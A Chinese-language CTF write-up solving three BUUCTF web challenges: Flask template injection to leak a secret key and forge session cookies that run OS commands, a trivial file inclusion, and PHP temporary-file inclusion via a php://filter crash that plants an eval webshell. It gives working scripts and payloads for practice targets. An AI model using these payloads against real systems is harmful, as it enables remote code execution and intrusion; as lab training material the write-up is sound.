BUUCTF(9)

81 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

[watevrCTF-2019]Supercalc

进去类似一个计算机,没有发现啥重要信息

但发现flask的cookie是可以解密的,以便于以后解码

from itsdangerous import *
# 从浏览器中复制过来的cookie值
session_str = 'eyJoaXN0b3J5IjpbeyJjb2RlIjoiOCArIDgifV19.YWVqgg.5F1LP-yW42v1QNzciIA26U2PvUE'
data, timestamp, secret = session_str.split('.')
print(base64_decode(data))

前提是itsdangerous模块已经安装

解码后发现是我们之前进行的计算题

联想到是否能够伪造cookie

看其他人解密过程就是伪造找到key才能伪造cookie

经过测试发现存在ssti

Traceback (most recent call last): File "somewhere", line something, in something result = 1/0 ZeroDivisionError: division by zero

测试

1/0{{1+1}}

还是错报

那么我们把后面的{{1+1}}注释掉再试一试 //没有想到

之后就会显示把1+1算出来了

接下来我们尝试读取

{{config}}

找到key

SECRET_KEY': 'cded826a1e89925035cc05f0907855f7&#39

伪造session有两种方法

1.flask_session_manager

用命令伪造

2.脚本

from flask.sessions import SecureCookieSessionInterface
secret_key = "cded826a1e89925035cc05f0907855f7"
class FakeApp:
    secret_key = secret_key


fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    {"history": [{"code": '__import__("os").popen("ls ").read()'}]}
)
print(cookie)

的出来

eyJoaXN0b3J5IjpbeyJjb2RlIjp7IiBiIjoiWDE5cGJYQnZjblJmWHlnaWIzTWlLUzV3YjNCbGJpZ2liSE1nSWlrdWNtVmhaQ2dwIn19XX0.YWVzyw.bdZtdqwmEog7NQLZU946PDCJ-AQ

修改之后f12 application里修改session值刷新页面

就会爆出来目录,发现有flag.txt。于是进一步读取

"{'history': [{'code': '__import__("os").popen("cat flag.txt").read()'}]}"

就会出现flag

本题要点:

1.flask cookie解密发现漏洞

2.找模板注入点伪造session尝试注入

BUU LFI COURSE 1

file=/flag

直接出flag

[NPUCTF2020]ezinclude

贴一个博客,讲的很详细

www.icode9.com/content-4-8…

考点一是要传入一个name与pass,其md5加密后要相等

抓包后会显示一个hash值,其为name的md5加密后的值,我们将其赋值给pass即可绕过

之后会显示/flflflflag.php

进入后便是一个文件包含

include($_GET["file"])

用伪协议查看一下源码

/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

出来后

PGh0bWw+CjxoZWFkPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmPSI0MDQuaHRtbCI7Cjwvc2NyaXB0Pgo8dGl0bGU+dGhpc19pc19ub3RfZmw0Z19hbmRf5Ye66aKY5Lq6X3dhbnRzX2dpcmxmcmllbmQ8L3RpdGxlPgo8L2hlYWQ+Cjw+Cjxib2R5Pgo8P3BocAokZmlsZT0kX0dFVFsnZmlsZSddOwppZihwcmVnX21hdGNoKCcvZGF0YXxpbnB1dHx6aXAvaXMnLCRmaWxlKSl7CglkaWUoJ25vbm9ubycpOwp9CkBpbmNsdWRlKCRmaWxlKTsKZWNobyAnaW5jbHVkZSgkX0dFVFsiZmlsZSJdKSc7Cj8+CjwvYm9keT4KPC9odG1sPgo=include($_GET["file"])

base64解码

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

可以看见过滤了data/input/zip协议,data://,php://input都是不可用的

blog.51cto.com/u_15127698/… #解释了为什么不能用

这里用到php临时文件的知识点

在上传文件时,如果出现Segment Fault,那么上传的临时文件不会被删除。这里的上传文件需要说明一下,一般认为,上传文件需要对应的功能点,但实际上,无论是否有文件上传的功能点,只要HTTP请求中存在文件,那么就会被保存为临时文件,当前HTTP请求处理完成后,垃圾回收机制会自动删除临时文件。

 

使php陷入死循环直,产生Segment Fault的方法:(具体原理未找到,如果有大佬清楚,请告知,感谢。)

 

    使用php://filter/string.strip_tags/resource=文件

        版本要求:

            php7.0.0-7.1.2

            php7.1.3-7.2.1

            php7.2.2-7.2.8

    使用php://filter/convert.quoted-printable-encode/resource=文件

        版本要求:

            php<=5.6.38

            php7.0.0-7.0.32

            php7.0.4-7.2.12

        函数要求

            file

            file_get_contents

            readfile

 

这里只能使用string.strip_tags,可以通过以下脚本上传文件

import requests
from io import BytesIO




payload = "<?php eval($_POST['x']);?>"
file_data = {'file': BytesIO(payload.encode())}
url="url/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
response = requests.post(url=url, files=file_data, allow_redirects=False)
print(response)

关于临时文件,可以简单说几句

 

    存储路径,由php.ini中的upload_tmp_dir指定,

        linux下默认值/tmp/

        windwos下默认值C:/Windwos or C:/Windwos/Temp/

    命名规则

        linux下,php+6个随机字符

        windows下,php+4个随机字符.tmp

    生命周期

        开始处理带有文件的POST请求

        保存临时文件,并写入数据

        执行php脚本

        删除临时文件

接下来我们扫描目录,我们会扫描到一个dir.php文件

array(2) { [0]=> string(1) "." [1]=> string(2) ".." } 

这里考察的是PHP临时文件包含,其基本是两种情况:

  1. 利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除
  2. PHP版本<7.2,利用php崩溃留下临时文件

py脚本上传shell

import requests
from io import BytesIO
 
payload = "<?php phpinfo()?>"
file_data = {
    'file': BytesIO(payload.encode())
}
url = "http://f6a351b3-c226-4aab-b5a7-1c72236efcc6.node4.buuoj.cn/flflflflag.php?"\
      +"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)

尝试读取

/flflflflag.php?file=../../../../tmp/php6Xn50O

找到flag

flag{67fdf760-9169-4f7e-95e0-dc1a0dba0c66}

参考博客

blog.51cto.com/u_15127698/…

blog.csdn.net/qq_46263951…